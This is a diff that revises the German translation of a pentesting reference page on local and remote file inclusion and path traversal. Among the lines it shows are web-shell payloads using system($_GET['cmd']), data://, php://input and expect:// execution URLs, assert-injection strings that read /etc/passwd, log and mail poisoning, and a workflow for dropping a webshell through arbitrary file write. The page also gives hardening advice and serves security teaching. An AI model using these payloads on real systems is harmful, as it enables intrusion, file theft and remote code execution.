-> Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die auf `.txt` endete; daher endet die Zeichenkette damit und nach dem b64 decode wird dieser Teil nur Müll zurückgeben und der echte PHP-Code wird inkludiert (und somit ausgeführt).
-
-Ein weiteres Beispiel, **das nicht das `php://` Protokoll verwendet**, wäre:
+> Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die auf `.txt` endet. Die Zeichenkette endet also damit und nach dem b64 decode wird dieser Teil nur Müll zurückgeben und der eigentliche PHP-Code wird eingebunden (und damit ausgeführt).
+>
+> Ein weiteres Beispiel, das **nicht das `php://`-Protokoll** verwendet, wäre:
 ```
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
-## Python Root element
+## Python Root-Element

-In Python in einem Code wie diesem:
+In python, in einem code wie diesem:
 ```python
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
 ```
-Wenn der Benutzer einen **absoluten Pfad** für **`file_name`** angibt, wird der **vorherige Pfad einfach entfernt**:
+Wenn der Benutzer einen **absolute path** an **`file_name`** übergibt, wird der **previous path** einfach entfernt:
 ```python
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-Dies ist das beabsichtigte Verhalten laut [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+Das ist das beabsichtigte Verhalten laut [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):

-> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird ab der absoluten Pfadkomponente fortgesetzt.
+> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird bei der absoluten Pfadkomponente fortgesetzt.

-## Java listet Verzeichnisse auf
+## Java Verzeichnisauflistung

-Es sieht so aus, dass wenn du eine Path Traversal in Java hast und du **ein Verzeichnis anfragst** statt einer Datei, **eine Auflistung des Verzeichnisses zurückgegeben wird**. Das passiert in anderen Sprachen nicht (soweit ich weiß).
+Es scheint, dass wenn man eine Path Traversal in Java hat und **ein Verzeichnis anfragt** statt einer Datei, eine **Auflistung des Verzeichnisses zurückgegeben wird**. Das passiert in anderen Sprachen nicht (soweit ich weiß).

 ## Top 25 Parameter

-Hier ist eine Liste der Top-25-Parameter, die für local file inclusion (LFI) anfällig sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusion (LFI)-Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 ```
 ?cat={payload}
 ?dir={payload}
@ -211,11 +210,11 @@ Hier ist eine Liste der Top-25-Parameter, die für local file inclusion (LFI) an
 ?mod={payload}
 ?conf={payload}
 ```
-## LFI / RFI mit PHP-Wrappers & -Protokollen
+## LFI / RFI using PHP wrappers & protocols

 ### php://filter

-PHP filters ermöglichen grundlegende **Modifikationsoperationen an den Daten**, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
+PHP-Filters erlauben es, grundlegende **Modifikationsoperationen an den Daten** durchzuführen, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:

 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
@ -228,17 +227,17 @@ PHP filters ermöglichen grundlegende **Modifikationsoperationen an den Daten**,
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
- `convert.iconv.*` : Wandelt in eine andere Encoding um (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Encodings** zu erhalten, führe in der Konsole aus: `iconv -l`
+- `convert.iconv.*` : Wandelt in eine andere Codierung um (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Encodings** zu erhalten, führe in der Konsole aus: `iconv -l`

 > [!WARNING]
-> Durch Missbrauch des `convert.iconv.*` Conversion-Filters kannst du **beliebigen Text erzeugen**, was nützlich sein kann, um beliebigen Text zu schreiben oder eine Funktion wie include dazu zu bringen, beliebigen Text zu verarbeiten. Für mehr Infos siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Durch Missbrauch des `convert.iconv.*` Conversion-Filters kannst du **beliebigen Text erzeugen**, was nützlich sein kann, um beliebigen Text zu schreiben oder eine Funktion wie include beliebigen Text verarbeiten zu lassen. Für mehr Infos siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).

 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich, wenn viele Daten exfiltriert werden müssen)
+- `zlib.deflate`: Komprimiert den Inhalt (nützlich beim Exfiltrieren großer Datenmengen)
 - `zlib.inflate`: Dekomprimiert die Daten
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : veraltet
- `mdecrypt.*` : veraltet
+- `mcrypt.*` : Deprecated
+- `mdecrypt.*` : Deprecated
 - Other Filters
 - Wenn du in PHP `var_dump(stream_get_filters());` ausführst, findest du ein paar **unerwartete Filter**:
 - `consumed`
@ -271,39 +270,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
 ```
 > [!WARNING]
-> Der Teil "php://filter" ist nicht case-sensitiv
+> Der Teil "php://filter" ist case-insensitive

-### Verwendung von php filters als oracle zum Lesen beliebiger Dateien
+### Verwendung von php filters als Oracle, um beliebige Dateien zu lesen

-[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **boolean exfiltration der Datei (Zeichen für Zeichen) mithilfe von php filters** als oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so groß zu machen, dass php eine Ausnahme wirft.
+[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer boolean exfiltration of the file (char by char) using php filters as oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so zu vergrößern, dass php eine Exception wirft.

-Im ursprünglichen Beitrag findet sich eine ausführliche Erklärung der Technik, hier aber eine kurze Zusammenfassung:
+Im Originalpost findet sich eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung:

- Verwende den Codec **`UCS-4LE`**, um das führende Zeichen des Texts an der Spitze zu belassen und die Größe des Strings exponentiell anwachsen zu lassen.
- Das wird genutzt, um einen **Text zu erzeugen, der so groß wird, wenn das Anfangszeichen korrekt erraten wurde**, dass php einen **Fehler** auslöst.
- Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein hexadezimaler Wert ist**, sodass wir erkennen können, ob das erste Zeichen hex ist.
- Dies, kombiniert mit dem vorherigen Verhalten (und anderen Filtern je nach erratenem Zeichen), erlaubt es uns, ein Zeichen am Anfang des Texts zu erraten, indem wir beobachten, wann genügend Transformationen angewendet wurden, sodass es kein hexadezimaler Wert mehr ist. Denn wenn es hex ist, entfernt dechunk es nicht und die anfängliche Explosion löst den PHP-Fehler aus.
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (also nach diesem Codec: a -> b). Damit lässt sich feststellen, ob das erste Zeichen z. B. ein `a` ist: wendet man diesen Codec sechsmal an (a->b->c->d->e->f->g), ist das Zeichen kein hexadezimaler Wert mehr, daher löscht dechunk es nicht und der PHP-Fehler wird aufgrund der anfänglichen Explosion ausgelöst.
- Durch andere Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu leak (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
- Wenn das Anfangszeichen eine Zahl ist, muss es base64-kodiert werden und die ersten zwei Buchstaben müssen geleakt werden, um die Zahl zu leak.
- Das finale Problem ist zu sehen, **wie man mehr als das Anfangszeichen leak't**. Durch die Verwendung von Reihenfolge-Ändernden-Filtern wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an die erste Position andere Zeichen des Texts zu bringen.
- Und um weitere Daten erhalten zu können, ist die Idee, **mit convert.iconv.UTF16.UTF16 zwei Junk-Bytes am Anfang zu generieren**, anschließend **UCS-4LE** anzuwenden, damit diese sich mit den nächsten 2 Bytes pivotieren, und **die Daten bis zu den Junk-Bytes zu löschen** (das entfernt die ersten 2 Bytes des ursprünglichen Texts). Dieses Vorgehen wird wiederholt, bis man das gewünschte Byte zum leak erreicht.
+- Verwende den Codec **`UCS-4LE`**, um führende Zeichen des Textes am Anfang zu lassen und die String-Größe exponentiell zu erhöhen.
+- Das wird genutzt, um einen **Text so groß zu erzeugen, dass beim korrekten Erraten des Anfangsbuchstabens** php einen **Fehler** auslöst.
+- Der **dechunk** filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist**, daher können wir wissen, ob das erste Zeichen hex ist.
+- Dies, kombiniert mit dem vorherigen (und weiteren Filtern abhängig vom geratenen Buchstaben), erlaubt es uns, ein Zeichen am Anfang des Textes zu erraten, indem wir sehen, wann genügend Transformationen durchgeführt wurden, sodass es kein hexadezimales Zeichen mehr ist. Denn wenn es hex ist, löscht dechunk es nicht und die anfängliche Bombe löst den php-Fehler aus.
+- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (also nach diesem codec: a -> b). Das erlaubt uns herauszufinden, ob der erste Buchstabe z. B. ein `a` ist, weil wenn wir diesen Codec 6‑mal anwenden a->b->c->d->e->f->g, das Zeichen kein hexadezimales Zeichen mehr ist, daher löscht dechunk es nicht und der php-Fehler wird durch die anfängliche Bombe ausgelöst.
+- Durch andere Transformationen wie **rot13** am Anfang ist es möglich, weitere Zeichen wie n, o, p, q, r zu leaken (und andere Codecs können benutzt werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
+- Wenn das Anfangszeichen eine Zahl ist, muss es base64-codiert werden und man leaket die ersten 2 Buchstaben, um die Zahl zu exfiltrate.
+- Das finale Problem ist zu sehen, **wie man mehr als das Anfangszeichen leaket**. Durch Verwendung von order memory filters wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und in der ersten Position andere Zeichen des Textes zu bekommen.
+- Und um weiterhin **weitere Daten** erhalten zu können, ist die Idee, **zwei Bytes Junk-Daten am Anfang** zu generieren mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um mit den nächsten 2 Bytes zu pivotieren, und die Daten bis zu den Junk-Daten zu löschen (dies entfernt die ersten 2 Bytes des ursprünglichen Texts). Dies wird so lange fortgesetzt, bis man das gewünschte Bit erreicht hat, das geleakt werden soll.

-Im Beitrag wurde außerdem ein Tool veröffentlicht, das dies automatisch ausführt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+Im Post wurde auch ein Tool veröffentlicht, das dies automatisiert: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).

 ### php://fd

-Dieser Wrapper erlaubt den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:
+Dieser Wrapper erlaubt den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrate:
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
 ```
-Du kannst auch **php://stdin, php://stdout and php://stderr** verwenden, um jeweils auf die **Dateideskriptoren 0, 1 und 2** zuzugreifen (ich bin mir nicht sicher, wie das in einem Angriff nützlich sein könnte)
+Du kannst außerdem **php://stdin, php://stdout and php://stderr** verwenden, um jeweils auf die **Dateideskriptoren 0, 1 und 2** zuzugreifen (nicht sicher, wie das in einem Angriff nützlich sein könnte)

-### zip:// und rar://
+### zip:// and rar://

-Lade eine Zip- oder Rar-Datei mit einer PHPShell hoch und greife darauf zu.\  
-Um das rar-Protokoll missbrauchen zu können, muss es **explizit aktiviert werden**.
+Lade eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greife darauf zu.\
+Um das rar protocol missbrauchen zu können, muss es **speziell aktiviert werden**.
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@ -328,24 +327,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
 http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-Beachte, dass dieses Protokoll durch php-Konfigurationen **`allow_url_open`** und **`allow_url_include`** eingeschränkt ist
+Beachte, dass dieses Protokoll durch die php-Konfigurationen **`allow_url_open`** und **`allow_url_include`** eingeschränkt ist

 ### expect://

-Expect muss aktiviert sein. Du kannst Code damit ausführen:
+Expect muss aktiviert sein. Du kannst damit Code ausführen:
 ```
 http://example.com/index.php?page=expect://id
 http://example.com/index.php?page=expect://ls
 ```
 ### input://

-Geben Sie Ihre payload in den POST-Parametern an:
+Gib dein payload in den POST-Parametern an:
 ```bash
 curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
 ```
 ### phar://

-Eine `.phar`-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien nutzt. Der unten gezeigte PHP-Codeausschnitt demonstriert die Erstellung einer `.phar`-Datei:
+Eine `.phar`-Datei kann genutzt werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien verwendet. Der untenstehende PHP-Codeausschnitt demonstriert die Erstellung einer `.phar`-Datei:
 ```php
 <?php
 $phar = new Phar('test.phar');
@ -358,9 +357,9 @@ Um die `.phar`-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werd
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-Bei Ausführung wird eine Datei namens `test.phar` erstellt, die potentiell dazu benutzt werden kann, Local File Inclusion (LFI)-Schwachstellen auszunutzen.
+Beim Ausführen wird eine Datei namens `test.phar` erstellt, die möglicherweise dazu verwendet werden kann, Local File Inclusion (LFI) vulnerabilities auszunutzen.

-Wenn das LFI nur Dateien liest, ohne den darin enthaltenen PHP-Code auszuführen — etwa über Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` — kann versucht werden, eine deserialization vulnerability auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das `phar`-Protokoll zusammen.
+Wenn das LFI lediglich Dateien liest, ohne darin enthaltenen PHP-Code auszuführen — etwa über Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` — kann versucht werden, eine deserialization vulnerability auszunutzen. Diese vulnerability steht im Zusammenhang mit dem Lesen von Dateien über das `phar` protocol.

 For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:

@ -373,51 +372,51 @@ phar-deserialization.md

 ### CVE-2024-2961

-Es war möglich, **any arbitrary file read from PHP that supports php filters** zu missbrauchen, um RCE zu erlangen. Die detaillierte Beschreibung kann [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Sehr kurze Zusammenfassung: ein **3 byte overflow** im PHP-Heap wurde missbraucht, um **alter the chain of free chunks** einer bestimmten Größe zu verändern, sodass es möglich wurde, **write anything in any address** — daher wurde ein Hook hinzugefügt, der **`system`** aufruft.\
-Es war möglich, Chunks bestimmter Größen zu allocieren, indem weitere php filters missbraucht wurden.
+Es war möglich, **any arbitrary file read from PHP that supports php filters** zu missbrauchen, um RCE zu erhalten. Die detaillierte Beschreibung kann [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Sehr kurze Zusammenfassung: ein **3 byte overflow** im PHP-Heap wurde ausgenutzt, um die **Kette freier Chunks** einer bestimmten Größe zu **verändern**, sodass man **anything in any address** schreiben konnte; dadurch wurde ein Hook hinzugefügt, der **`system`** aufruft.\
+Es war möglich, Chunks spezifischer Größen zu allocen, indem weitere php filters missbraucht wurden.

-### Weitere Protokolle
+### More protocols

-Siehe weitere mögliche[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
+Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**

- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreiben im Speicher oder in einer temporären Datei (nicht sicher, wie das in einem file inclusion Angriff nützlich sein kann)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreiben in den Speicher oder in eine temporäre Datei (nicht sicher, wie das in einem file inclusion attack nützlich sein kann)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Zugriff auf das lokale Dateisystem
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Zugriff auf HTTP(s)-URLs
 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Zugriff auf FTP(s)-URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressions-Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Findet Pfadnamen, die dem Muster entsprechen (Es gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
+- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (gibt nichts Druckbares zurück, daher hier nicht wirklich nützlich)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-Streams (Nicht nützlich, um beliebige Dateien zu lesen)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (nicht nützlich, um arbitrary files zu lesen)

 ## LFI via PHP's 'assert'

-Local File Inclusion (LFI)-Risiken in PHP sind besonders hoch, wenn die 'assert'-Funktion verwendet wird, da sie Code innerhalb von Strings ausführen kann. Das ist besonders problematisch, wenn Eingaben mit directory traversal-Zeichen wie ".." geprüft, aber nicht korrekt bereinigt werden.
+Die Risiken durch Local File Inclusion (LFI) in PHP sind besonders hoch, wenn die Funktion 'assert' verwendet wird, da sie Code innerhalb von Strings ausführen kann. Das ist insbesondere problematisch, wenn Eingaben mit directory traversal Zeichen wie ".." geprüft, aber nicht korrekt bereinigt werden.

-For example, PHP code might be designed to prevent directory traversal like so:
+Zum Beispiel könnte PHP-Code so gestaltet sein, dass directory traversal verhindert werden soll:
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
-Obwohl dies darauf abzielt, traversal zu verhindern, schafft es unbeabsichtigt einen Vektor für code injection. Um dies auszunutzen, um Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
+Während dies darauf abzielt, traversal zu verhindern, schafft es unbeabsichtigt einen Vektor für code injection. Um dies auszunutzen, um Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
-Ähnlich kann man zum Ausführen beliebiger Systembefehle Folgendes verwenden:
+Ebenso könnte man, um beliebige Systembefehle auszuführen, folgendes verwenden:
 ```plaintext
 ' and die(system("id")) or '
 ```
-Es ist wichtig, **URL-encode these payloads**.
+Es ist wichtig, diese Payloads URL-encode zu senden.

 ## PHP Blind Path Traversal

 > [!WARNING]
-> Diese Technik ist relevant in Fällen, in denen Sie die **control** des **file path** einer **PHP function** haben, die auf eine Datei **access a file** wird, Sie aber den Inhalt der Datei nicht sehen (z. B. ein einfacher Aufruf von **`file()`**), der Inhalt jedoch nicht angezeigt wird.
+> Diese Technik ist relevant in Fällen, in denen du den file path einer PHP function kontrollierst, die auf eine Datei zugreift, du den Inhalt der Datei aber nicht sehen wirst (wie ein einfacher Aufruf von **`file()`**), weil der Inhalt nicht angezeigt wird.

-In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blind path traversal über PHP filter ausgenutzt werden kann, um den Inhalt einer Datei via eines error oracle zu exfiltrieren.
+In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blind path traversal über PHP filter missbraucht werden kann, um den Inhalt einer Datei via error oracle zu exfiltrate.

-Kurz gesagt, die Technik nutzt die **"UCS-4LE" encoding**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP function opening** der Datei einen **error** auslöst.
+Zusammenfassend verwendet die Technik die **"UCS-4LE" encoding**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP function, die die Datei öffnet**, einen **error** auslöst.

-Um dann das erste Zeichen zu leak, wird der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** eingesetzt, um andere Zeichen an den Anfang zu setzen und diese zu leak.
+Um dann das erste Zeichen zu leaken, wird der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **weitere Zeichen an den Anfang zu platzieren und diese zu leaken**.

 Funktionen, die möglicherweise verwundbar sind: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`

@ -427,22 +426,22 @@ Für die technischen Details siehe den erwähnten Beitrag!

 ### Arbitrary File Write via Path Traversal (Webshell RCE)

-Wenn serverseitiger Code, der Dateien entgegennimmt/uploadet, den Zielpfad mithilfe von nutzerkontrollierten Daten (z. B. einem Dateinamen oder einer URL) ohne Canonicalisierung und Validierung zusammensetzt, können `..`-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis entkommen und einen arbitrary file write verursachen. Wenn Sie die Payload in ein web-exposed directory platzieren können, erhalten Sie normalerweise unauthenticated RCE, indem Sie eine webshell ablegen.
+Wenn serverseitiger Code, der Dateien entgegennimmt/uploads, den Zielpfad mithilfe benutzerkontrollierter Daten (z. B. eines Dateinamens oder einer URL) ohne Canonicalisierung und Validierung zusammenbaut, können `..`-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis ausbrechen und einen arbitrary file write verursachen. Wenn du die Payload in ein web-exposed Verzeichnis platzieren kannst, erhältst du in der Regel unauthenticated RCE, indem du eine Webshell ablegst.

-Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
+Typischer Exploit-Workflow:
+- Identifiziere ein Schreib-Primitive in einem Endpoint oder Background Worker, das einen Pfad/Dateinamen akzeptiert und Inhalt auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
+- Bestimme web-exposed directories. Häufige Beispiele:
 - Apache/PHP: `/var/www/html/`
 - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
 - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
+- Erstelle einen Traversal-Pfad, der aus dem vorgesehenen Storage-Verzeichnis in den Webroot ausbricht, und füge deinen Webshell-Inhalt ein.
+- Rufe das abgelegte Payload im Browser auf und führe Befehle aus.

 Hinweise:
- Der verwundbare Dienst, der den Schreibvorgang ausführt, kann auf einem non-HTTP port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Haupt-Webportal (anderer Port) wird später Ihre payload ausliefern.
- Auf Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher `File`/`Paths`-Konkatenation implementiert. Das Fehlen von canonicalisation/allow-listing ist der Kernfehler.
+- Der verwundbare Dienst, der den Schreibvorgang durchführt, kann auf einem Nicht-HTTP-Port lauschen (z. B. ein JMF XML Listener auf TCP 4004). Das Hauptwebportal (anderer Port) wird später dein Payload ausliefern.
+- In Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher `File`/`Paths`-Konkatenation implementiert. Fehlende Canonicalisierung/Allow-Listing ist der Kernfehler.

-Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
+Generisches XML/JMF-style Beispiel (Produkt-Schemas variieren – der DOCTYPE/body-Wrapper ist für den Traversal irrelevant):
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <JMF SenderID="hacktricks" Version="1.3">
@ -466,26 +465,25 @@ in.transferTo(out);
 </Command>
 </JMF>
 ```
-Härtungsmaßnahmen, die diese Klasse von Schwachstellen verhindern:
- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Nachfahre eines allow-listed Basisverzeichnisses ist.
- Alle Pfade ablehnen, die `..`, absolute roots oder drive letters enthalten; generierte Dateinamen bevorzugen.
- Den Writer als low-privileged account ausführen und Schreibverzeichnisse von den served roots trennen.
+Hardening that defeats this class of bugs:
+- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Nachkomme eines zugelassenen Basisverzeichnisses ist.
+- Jegliche Pfade ablehnen, die `..`, absolute Wurzeln oder Laufwerksbuchstaben enthalten; bevorzugen Sie generierte Dateinamen.
+- Den Schreibprozess unter einem niedrig privilegierten Konto ausführen und Schreibverzeichnisse von den ausgelieferten Document-Roots trennen.

 ## Remote File Inclusion

-Weiter oben erklärt, [**folgen Sie diesem Link**](#remote-file-inclusion).
+Vorher erklärt, [**follow this link**](#remote-file-inclusion).

 ### Via Apache/Nginx log file

-Wenn der Apache- oder Nginx-Server gegenüber **LFI** in der include-Funktion verwundbar ist, kannst du versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen, im **user agent** oder in einem **GET parameter** eine php shell wie **`<?php system($_GET['c']); ?>`** zu setzen und diese Datei zu includen
+Wenn der Apache- oder Nginx-Server **vulnerable to LFI** innerhalb der include-Funktion ist, können Sie versuchen, auf **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** zuzugreifen, in den **user agent** oder in einen **GET parameter** eine PHP-Shell wie **`<?php system($_GET['c']); ?>`** zu setzen und diese Datei einzubinden

 > [!WARNING]
-> Beachte, dass **wenn du doppelte Anführungszeichen** für die Shell statt **einfache Anführungszeichen** verwendest, die doppelten Anführungszeichen in den String "_**quote;**_" umgewandelt werden, **PHP dort einen Fehler auslöst** und **nichts Weiteres ausgeführt wird**.
+> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" verändert werden, **PHP dort einen Fehler werfen wird** und **nichts weiter ausgeführt wird**.
 >
-> Stelle außerdem sicher, dass du **die Payload korrekt schreibst**, sonst wird PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler ausgeben und du wirst keine zweite Gelegenheit haben.
-
-Das kann auch in anderen Logs gemacht werden, aber **sei vorsichtig,** der Code in den Logs könnte URL encoded sein und das könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
+> Stellen Sie außerdem sicher, dass Sie die **Payload korrekt schreiben**, sonst erzeugt PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler und Sie erhalten keine zweite Chance.

+Das kann auch in anderen Logs gemacht werden, aber **sei vorsichtig,** der Code in den Logs könnte URL encoded sein und das könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte innerhalb dieses Headers eingefügt werden.\
 Weitere mögliche Log-Pfade:
 ```python
 /var/log/apache2/access.log
@ -502,42 +500,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin

 ### Per E-Mail

-**Sende eine E-Mail** an ein internes Konto (user@localhost), die deinen PHP-Payload wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält, und versuche, die Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzubinden.
+**Sende eine E-Mail** an ein internes Konto (user@localhost), die deine PHP-Payload wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält und versuche, die Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzubinden.

-### Über /proc/*/fd/*
+### Per /proc/*/fd/*

-1. Lade viele shells hoch (zum Beispiel: 100)  
-2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), wobei $PID die PID des Prozesses ist (kann per Brute-Force ermittelt werden) und $FD der File-Descriptor ist (kann ebenfalls per Brute-Force ermittelt werden)
